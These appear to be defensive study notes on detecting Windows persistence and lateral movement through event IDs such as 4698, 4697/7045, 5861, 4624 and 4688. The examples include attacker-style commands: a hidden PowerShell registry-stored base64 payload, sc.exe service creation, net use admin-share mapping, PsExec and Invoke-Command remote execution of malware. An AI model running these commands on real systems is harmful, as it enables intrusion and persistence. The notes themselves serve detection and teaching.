Event ID 4698 — “A scheduled task was created” — Subject (creator) + Task Information (task name + full XML task content: <RegistrationInfo>, <Triggers>, <Exec>, run-as account).

Worked example: THESHIRE\pgustavo created scheduled task MordorSchtask to run daily, executing powershell.exe -NonI -W hidden -c IEX([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp HKCU:\...debug).debug))) — a fileless technique storing an encoded payload in a registry key.

Hunting cues: tasks created outside working hours; tasks executing from insecure paths (user profile/temp); LOTL binaries as the task action; scope compromised accounts via the creator field.

3. Windows Services

Created via GUI or sc.exe:

sc.exe create TestService binpath= c:\windows\temp\NewServ.exe start= auto

Event ID 4697 (Security log) and Event ID 7045 (System log) — both “A service was installed in the system”, same fields: Subject, Service Name, Service File Name, Service Type, Service Start Type, Service Account.

Start Type values

Value	Meaning
0	Boot device (drivers)
1	Started by I/O subsystem
2	Auto-start — favored by attackers for persistence
3	Manual start
4	Disabled

Red flags: auto-start (2) service, executable name not a known Windows binary, running from System32 despite not being a built-in file.

4. WMI Event Subscription

Persistence via three components:

Event filter — trigger condition (e.g., every 1 min)
Event consumer — action to run (script or command)
Binding — ties filter + consumer together

Malicious consumer types: CommandLineEventConsumer (executes commands), ActiveScriptEventConsumer (executes scripts).

Event ID 5861 (Microsoft-Windows-WMI-Activity/Operational) — records WMI event consumer creation; shows consumer name, bound filter name, consumer type, and command/script content.

Hunting cues: consumer type is one of the two malicious types; rare/unusual filter+consumer names; suspicious executed paths or LOTL usage.

Lateral Movement Techniques

General pattern: relevant events are recorded on both source and target machines; the target machine almost always has the richer evidence.

1. Remote Desktop (RDP)

Source machine: Event ID 4688 records mstsc.exe execution.
Target machine:
- 4688 records rdpclip.exe / tstheme.exe.
- 4624 (Logon Type 10) — successful RDP auth; ⚠️ the Workstation Name field here is the target machine’s own name, not the source — a common investigative trap.
- 4778 — session reconnected (provides the real Client Name/Client Address = actual source machine).
- 4779 — session disconnected.

Hunting cues: client-to-client RDP (most legitimate RDP is workstation→jump-server or admin-workstation→target); off-hours connections; unauthorized source machines.

2. Windows Admin Shares

Shares: C$ (C: drive), ADMIN$ (Windows folder), IPC$ (named pipes).

Mapped via the built-in NET tool, e.g. (Turla group):

net use L: \\<TargetIP>\$C <Password> /USER:<Domain>\<User>

Source machine: 4688 for net.exe/net1.exe — command line reveals target host/IP.
Target machine:
- 4624 (Logon Type 3) — here the Workstation Name field is correct (unlike RDP).
- Expect 4672 right after 4624 (admin shares require admin privileges).
- 5140 — network share object accessed (which share, e.g. ADMIN$).
- 5145 — same as 5140 plus the accessed filename.

Tool reference: ShareFinder — attacker share-enumeration utility; hunt via clustering of 5140/5145 across many internal targets from one source.

3. PsExec (Sysinternals)

Legit remote-execution tool, digitally signed by Microsoft, commonly abused because it isn’t flagged as malware and blends with admin activity.

psexec.exe \\hostB -accepteula -d -c C:\MalwareFolder\malware.exe

Mechanics: authenticate to Host B → copy Psexesvc.exe + payload to ADMIN$ → create + start a Windows service running psexesvc.exe → execute the payload.

Source machine: 4688 for psexec.exe (path, parent, command line).
Target machine:
- 4624 (logon type 3, or 2 with explicit creds) to access ADMIN$.
- 5140/5145 — accessed/mapped share + files.
- 4697 / 7045 — new PSEXESVC service creation (Start Type 3 = manual/on-demand).
- 4688 — PSEXESVC.exe execution, spawned by services.exe.
- 4688 — payload process (e.g., python.exe) spawned from PSEXESVC.exe, tracked via PID correlation.

Baseline matters: PsExec use may be normal in admin-heavy environments — focus on non-admin/off-hours use and what PSEXESVC.exe actually spawns.

4. PowerShell Remoting

Uses WinRM (Windows Remote Management) over an encrypted channel.

Invoke-Command -ComputerName VICTIM -ScriptBlock {Start-Process c:\malwarefolder\malware.exe} -Credential $credentials
Enter-PSSession -ComputerName VICTIM -Credential $credentials

Source machine: 4688 (powershell.exe, command line, parent) → 4104 / 800 (executed script/command).
Target machine:
- 4624 (logon type 3).
- 4688 — wsmprovhost.exe (WinRM PS session host process) execution.
- 4688 — commands/processes spawned from wsmprovhost.exe, e.g. a powershell.exe child with an encoded argument.
- 4104 — decoded/logged full script content.
- 800 — logged executed commands.

Part 2 Quick Review